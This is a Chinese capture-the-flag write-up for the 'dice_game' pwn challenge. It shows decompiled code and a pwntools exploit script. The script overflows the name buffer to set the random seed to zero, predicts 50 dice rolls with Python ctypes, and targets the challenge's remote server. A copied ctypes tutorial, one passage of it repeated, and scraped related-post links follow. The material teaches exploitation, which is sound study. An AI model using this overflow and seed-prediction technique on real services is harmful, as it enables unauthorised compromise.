攻防世界高手进阶区——dice_game
攻防世界高手进阶区——dice_game
题目里面啥都没有。
一.分析文件
checksec
只有栈溢出保护关闭了,其他都是开着的。运行
可以看出是要猜数字,猜对50次。ida逆向
__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t v6; // [rsp+38h] [rbp-18h]unsigned int seed[2]; // [rsp+40h] [rbp-10h]unsigned int v8; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL); // 给buf赋值为0*(_QWORD *)seed = time(0LL); // 获取当前时间到1970年一月一日的秒数printf("Welcome, let me know your name: ");fflush(stdout); // 刷新输出缓冲区v6 = read(0, buf, 80uLL); // 从标准输入读入0x50个字节并将读到的字节数返回给v6// 存在栈溢出漏洞if ( v6 <= 49 )buf[v6 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]); // 伪随机数发生器v8 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", v8);v5 = sub_A20(); // 关键!!!!!!fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( v8 == 50 ) // 五十次全部正确即可得到flag{sub_B28(buf);break;}++v8;}}puts("Bye bye!");return 0LL;
}
跟进一下sub_A20()
__int64 sub_A20()
{__int16 v1; // [rsp+Ch] [rbp-4h] BYREF__int16 v2; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);scanf("%hd", &v1);if ( v1 > 0 && v1 <= 6 ){v2 = rand() % 6 + 1;if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( v1 == v2 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}
可以看出是要答对50次数字。
int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}
答对后就可以开启flag文件。
二,解题思路
- 文件输入名字处存在栈溢出漏洞。
只需要覆盖0x40个字节就可以将seed覆盖。
覆盖seed后就可以将伪随机数生成器的种子给替换,
伪随机数生成器的种子一样生成的随机数是相同的。
(不同的动态链接库的rand函数算法可能不同,需要将文件给的so文件给用上)
再用python的ctypes模块实现即可。
三,exp
#coding=utf8
from pwn import *
from ctypes import * #导入c函数库模块,可以在python中实现对C语言函数的引用sh = remote('111.200.241.244' ,50045)
libc = cdll.LoadLibrary("libc.so.6")#导入相应的动态链接库payload = "a" * 0x40 + p64(0)#栈溢出文件,覆盖seed为0
sh.sendlineafter("name: ", payload)
# 构造答题的50个随机数
res = [] #数组声明
for i in range(50):res.append(libc.rand()%6+1)#导入随机数
print res
for point in res:sh.sendlineafter("point(1~6): ", str(point))
sh.interactive()
.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码数据的库
模块ctypes是Python内建的用于调用动态链接库函数的功能模块,一定程度上可以用于Python与其他语言的混合编程。由于编写动态链接库,使用C/C++是最常见的方式,故ctypes最常用于Python与C/C++混合编程之中。
ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。
ctypes导出了
cdll
对象,在Windows系统中还导出了windll
和oledll
对象用于载入动态连接库。通过操作这些对象的属性,你可以载入外部的动态链接库。cdll
载入按标准的cdecl
调用协议导出的函数,而windll
导入的库按stdcall
调用协议调用其中的函数。oledll
也按stdcall
调用协议调用其中的函数,并假定该函数返回的是Windows HRESULT
错误 代码,并当函数调用失败时,自动根据该代码甩出一个OSError
异常。
PS:关于ctypes引用一下大佬的解释
1 C函数的调用规定
C函数在调用过程中关于参数传递和压栈由多种规定,作为dll提供给其他程序调用时,必须明确并统一为同一种调用规定,否则会导致栈破坏,编译器负责具体实现调用规定,主要有以下几种调用规定
调用规定 | 声明 | 编译符号修饰 | 调用规则 | 说明 |
---|---|---|---|---|
_stdcall |
__declspec(dllexport) int __stdcall fun(int a, int b)
|
_fun@number | 参数从右向左入栈,调用者压栈,被调者负责弹栈 | win32 API默认调用规则 |
_cdecl |
__declspec(dllexport)int __cdecl fun(int a, int b)
|
_fun | 参数从右向左入栈,调用者负责压栈和弹栈 | C/C++默认调用规则 |
_fastcall |
__declspec(dllexport)int __fastcall fun(int a, int b)
|
@fun@number | 寄存器和栈共同参数与参数传递 | 寄存器传参提高性能,难以跨平台 |
2 ctypes加载dll库接口
python下调用C库有多种方式,ctypes是其中一种比较方便的,调用时首先需要加载dll文件,根据C dll的调用规定不同需要使用不同接口,使用ctypes需要import ctypes
库
- 对于stdcall的C dll
import ctypes
Objdll = ctypes.windll.LoadLibrary("dllpath") #接口1
Objdll = ctypes.WinDLL("dllpath") #接口2
以上两种接口都是可用的
- 对于cdecl的C dll
import ctypes
Objdll = ctypes.cdll.LoadLibrary("dllpath")
Objdll = ctypes.CDLL("dllpath")
对于简单的C函数,例如int add(int a, int b)
, 此时就可以直接调用了,如
import ctypes
Objdll = ctypes.cdll.LoadLibrary("dllpath")
Objdll = ctypes.CDLL("dllpath") c = Objdll.all(1,3)
print(c) # 4
上两种接口都是可用的
- 对于cdecl的C dll
import ctypes
Objdll = ctypes.cdll.LoadLibrary("dllpath")
Objdll = ctypes.CDLL("dllpath")
对于简单的C函数,例如int add(int a, int b)
, 此时就可以直接调用了,如
import ctypes
Objdll = ctypes.cdll.LoadLibrary("dllpath")
Objdll = ctypes.CDLL("dllpath") c = Objdll.all(1,3)
print(c) # 4
作者:cheng3100
链接:https://www.jianshu.com/p/b338e55c3b71
来源:简书
攻防世界高手进阶区——dice_game相关推荐
- 攻防世界高手进阶区 ——forgot
攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...
- 攻防世界高手进阶区 ——反应釜开关控制
攻防世界高手进阶区 --反应釜开关控制 题目没什么信息.在这里插入图片描述 1.分析文件 运行一下,可能为栈溢出的题. checkse 无栈溢出保护,无地址随机化,只有堆栈不可执行. 栈溢出可能性大. ...
- 攻防世界高手进阶区 ——Mary_Morton
攻防世界高手进阶区 --Mary_Morton 不容易呀,这都已经是第七题了,继续加油! 一,老规矩,先分析一下文件 checksec一下 发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的. 运行 ...
- 攻防世界MISC进阶区刷题记录
文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...
- 攻防世界 pwn进阶区----No.012 babyfengshui 解题思路
攻防世界 pwn进阶区----No.012 babyfengshui 解题思路 1.本题解题思路 1.先期工作 1.运行程序查看基本逻辑 创建用户 展示用户 更新用户 删除用户 到这里就可以猜测这题有 ...
- 攻防世界web进阶区Web_php_wrong_nginx_config详解
攻防世界web进阶区Web_php_wrong_nginx_config详解 题目 详解 题目 打开发现无论我们输入什么他都会弹出网站建设不完全 那么我们使用御剑进行扫描,扫描到了admin和robo ...
- 攻防世界web进阶区ics-05详解
攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...
- 攻防世界web进阶区Web_python_block_chain详解
攻防世界web进阶区Web_python_block_chain详解 题目 详解 51% 双花攻击 题目 详解 我们整理一下 Announcement: The server has been res ...
- 攻防世界web进阶区wtf.sh-150详解
攻防世界web进阶区wtf.sh-150详解 题目 详解 题目 看起来像一个论坛,可以注册,登录 详解 我们随便打开一个 尝试注入 并没有发现可以注入 注册发现,admin已经存在, 我们看看能不能二 ...
最新文章
- git解决pre-commit hook failed的问题
- ImportError cannot import name BytesIO when import caffe
- java visualvm分析_使用VisualVM分析性能
- mysql date time year_YEAR、DATE、TIME、DATETIME和TIMESTAMP详细介绍[MySQL数据类型]
- php io select,Python IO多路复用之——select方案服务端和客户端代码【python源码详解】...
- toolStrip 按钮图片大小的修改
- win10编辑js文件报错,错误','
- Online Judge System
- Delphi格式化函数Format FormatDateTime和FormatFloat
- Android 系统(36)---Android O、N版本修改dex2oat编译选项
- Queries with streaming sources must be executed with writeStream.start()
- 计算机专业知识综合应用题,2015年计算机综合考研及解析之综合应用题(一)...
- 如何在M1 Mac上安装iPhone或iPad应用程序?
- docker容器别人访问很卡_一篇文章带你走进Docker的世界
- win7 Embedded EWF与HORM特性(实战验证)
- R语言中经纬度度分秒转小数
- 苹果手机如何深度清理_苹果手机还可以这样清理垃圾,怪不得用这么久还流畅如丝...
- sdn 华硕二级路由_360首款立式路由,还能检测各种设备上网详情,360路由V5S评测...
- Chrome浏览器视频网站全屏黑屏解决方法
- BackTrack3 硬盘安装教程